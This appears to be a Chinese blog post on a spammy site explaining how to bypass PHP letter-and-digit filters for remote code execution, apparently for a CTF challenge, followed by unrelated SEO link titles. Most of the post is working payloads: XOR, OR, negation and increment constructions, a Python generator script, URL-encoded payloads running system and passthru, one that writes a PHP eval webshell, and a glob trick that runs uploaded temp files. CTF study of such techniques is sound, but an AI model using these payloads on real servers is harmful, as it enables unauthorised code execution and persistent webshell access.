当前位置: 首页 > wzjs >正文

用java怎么做购物网站seo网页优化培训

用java怎么做购物网站,seo网页优化培训,翻译wordpress,企业网站的建立流程的第一步是单词字符(\w): 大小写字母 (a-z, A-Z) 数字 (0-9) 下划线 (_) 非单词字符(\W)是上面以外的任何字符,例如: 标点符号(如 !, , #) 空格、换行符 其他非字母数字的字符 用运算符实现 1、 异…

单词字符(\w):

大小写字母 (a-z, A-Z)

数字 (0-9)

下划线 (_)

非单词字符(\W)是上面以外的任何字符,例如:

标点符号(如 !, @, #)

空格、换行符

其他非字母数字的字符

用运算符实现

1、 异或运算符

^

两个字符异或操作后,会得到一个新的字符,例如:

h和[进行异或操作,得到的结果为3

这是由于,在ascii码表中:

h: 104 0x68 01101000
[: 91 0x5B 01011011

01101000和01011011逐位进行异或后,得到00110011,也就是0x33,在ascii码中表示是数字3:

<?php $a = 'h'^'[';echo $a;
?> 
// 输出:3

例如像以下这样构造命令:

$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);

使用时,讲上述构造的命令取消换行,并进行url编码,传入参数即可:

例如:

<?php$w = $_GET['w'];if (!preg_match("/[a-zA-Z0-9]/"), $w){eval($w);}
?>

Payload可以写成:

?w=%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B&_=system&__=whoami

在实际应用中,可以通过python构造出我们需要的命令的异或算式,后续使用这个脚本,只需要修改payload和正则表达式即可

import re
import urllib.parse
import requests
def generate_xor_expression(payload, filter_regex):"""根据目标 payload 和过滤正则表达式,生成异或表达式。参数:payload: 目标字符串filter_regex: 用于过滤字符的正则表达式返回:构造的异或表达式字符串"""xor_1 = ''xor_2 = ''usable_chars = []# 找到没有被过滤的可用字符for i in range(0xff):if chr(i) not in filter_regex:usable_chars.append(chr(i))# 遍历目标 payload 的每个字符,找到对应的异或字符对for k in range(len(payload)):for i in usable_chars:if chr(ord(i) ^ 127) == payload[k]:  # 检查两个字符异或结果是否等于目标字符xor_1 += ixor_2 += chr(127)continue# 构建最终的表达式,将字符进行URL编码return "('" + urllib.parse.quote(xor_1) + "'^'" + urllib.parse.quote(xor_2) + "')"# 测试函数
if __name__ == "__main__":payload = "ls"  # 要生成的目标 payloadfilter_regex = r'[a-zA-Z0-9]'  # 定义过滤正则表达式result = generate_xor_expression(payload, filter_regex)  # 调用函数print(result)  # 打印最终生成的表达式测试:<?php$c = $_GET['c'];if(!preg_match("/[A-Za-z0-9]+/", $c)) {echo 'Yes';eval($c);} else {echo 'No';}show_source(__FILE__);
?>构建payload:passthru(ls)('%0F%1E%0C%0C%0B%17%0D%0A'^'%7F%7F%7F%7F%7F%7F%7F%7F')('%13%0C'^'%7F%7F')

构建payload:passthru(ls)

('%0F%1E%0C%0C%0B%17%0D%0A'^'%7F%7F%7F%7F%7F%7F%7F%7F')('%13%0C'^'%7F%7F')

2、 或运算符

|

同上异或的原理,不过需要改一下脚本里的运算符

3、 取反

~

<?php$a = 'system';$b = ~$a;echo urlencode($b);
?>

得到的结果为%8C%86%8C%8B%9A%92,此时将改数据再取反,就可以得到我们想要的system,利用方式和异或部分同理。

4、 自增

利用自增,例如

"a"++ => "b"

所以,只要能够得到一个字符,我们就可以通过自增或自减的方式得到所有的字母。那么,要如何得到一个字母,例如A,在PHP中,强制连接数组和字符串的话,数组将会被转化为字符串,其值为“Array”。再取这个字符串的第一个字母,就可以得到A。

<?php
$a = ''.[];
var_dump($a);

还有其他的取字母的方法,例如:

(0/0).''   //NAN
(1/0).''   //INF

参考佬的payload:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

PHP7和PHP5中的特性

assert是无字母数字RCE中很重要的一个函数,但是php5和php7中的这个函数是有区别的。在php5中,assert是一个函数,因此我们可以动态调用。但是在PHP7中,assert不再是一个函数,而是变成了一个语言结构,不能再作为函数名动态执行代码。在php7中,可以通过($a)()这样的方式来执行命令,也就是说我们对phpinfo取反之后就可以直接执行了,亦或用file_put_contents来写shell。

php7中

例如想执行phpinfo(),可以写成(phpinfo)(),利用取反构造payload:

(~%8F%97%8F%96%91%99%90)()		//	phpinfo

甚至可以直接写马file_put_contents('4.php','<?php eval(\$_POST[1]);');

(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

成功写入

php5中

在php5中,不支持用($a)()这样的语句来调用函数,因此需要考虑用一些更巧妙的技巧

这种绕过方式最主要利用到的特性:

php在处理上传的文件时,会将其保存在临时文件夹下(/tmp),并且默认的文件名为/tmp/phpXXXXXX的形式,文件名的后六位为随机的大小写字母

可以使用.来执行任意文件,即使这个文件没有执行权限

Linux下的文件可以使用通配符表示

我们在php中上传的文件,会被临时放到tmp目录下并且目录为/tmp/phpXXXXXX,但是只是放到该目录下是达不到我们的目的的,那么就需要想办法执行他。此时就想到了Linux中的.,.在执行一个文件的时候,不需要改文件具有执行权限,.代表的是当前的shell,. file也就是使用当前的shell来执行file文件。那么结合起来想一下,如果有一个可以进行rce的点,即使是过滤了字母数字的情况下,我们不就可以使用.来执行我们上传的临时文件了吗。

但是又出现问题了,本文不就是在讲无字母数字的情况如何进行rce吗,不能传入字母、数字,要怎么获取到上传的临时文件呢。我们就可以使用通配符,例如/tmp/phpXXXXXX就可以被表示为/???/?????????。

但是,当我们像这样去尝试获取php上传的临时文件时,又出现了问题,有很多能满足/???/?????????匹配格式的文件,以下引用p神的图

可以看到,这样的结构,匹配到了这么多文件,而且我们在php中上传生成的临时文件,排到了第6位,那么,在执行. /???/?????????时,就可能在前面的过程中出现问题,然后就导致整个流程终止,无法执行到我们上传的文件。

那么如何解决,仔细观察,可以发现这些列出来的文件中,只有php的临时文件中存在大写字母,并且,在glob通配符中,支持使用[^x]的方法构造表示“这个位置不是字符x”的表达式,因为^在方括号中表示非。一下继续引用p神的图,同理就可以过滤掉很多文件

那么,同理,我们可以通过表达式,去匹配出文件名中带有大写字母的文件,就是php上传文件后生成的临时文件。

可以看到,大写字母在ascii码表上是介于@和[这两个符号之间的,那么在表达式中就可以使用[@-[]来表示大写字母

. /???/????????[@-[]

那么payload就可以这么打

?><?=`. /???/????????[@-[]`;?>

ctfshow web56例题参考ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web56-CSDN博客

http://www.dtcms.com/wzjs/84063.html

相关文章:

  • 做网站 插件在线网站分析工具
  • sql注入网站源码英文网站推广
  • 网站开发 简单留言板发外链平台
  • 靖江建设行业协会网站网址如何下载视频
  • 网站png小图标怎么做公司品牌宣传
  • 如何通过psd做网站网站搜索优化公司
  • php 用什么做网站服务器服务器域名怎么注册
  • 电商网站设计方案大全谷歌查询关键词的工具叫什么
  • 定制型网站建设平台百度投诉中心
  • 网站建设优秀网站建设seo查询5118
  • 网站排名优化公司推荐做百度网站一年多少钱
  • 手机网站服务器网站seo检测
  • angular2是做网站的还是手机的关键词优化是什么意思?
  • 网站制作建设哪家公司好百度seo关键词排名
  • 网站前台数据库seo博客大全
  • 招代理网站建设公司旅游app推广营销策略
  • wordpress邮件发送超时aso优化是什么
  • 网站备案号如何查询歌尔股份砍单
  • 中山大良网站建设举一个病毒营销的例子
  • 注册资金500万的公司需要多少钱郑州seo公司哪家好
  • 百度网盟如何选择网站优化网站打开速度
  • 知乎 做照片好的网站十大app开发公司排名
  • 搞基怎么做视频网站网站收录查询入口
  • 手机自助网站建设8个公开大数据网站
  • 网站建设关键的问题是永久域名查询
  • 做网站的程序员工资大约月薪北京seo执行
  • 网站建设颜色注意事项百度有钱花人工客服
  • 软件ui设计怎么做网站站长之家seo工具包
  • 网站备案 类型北京seo主管
  • 江苏省建设厅 标准化网站中国进入全国紧急状态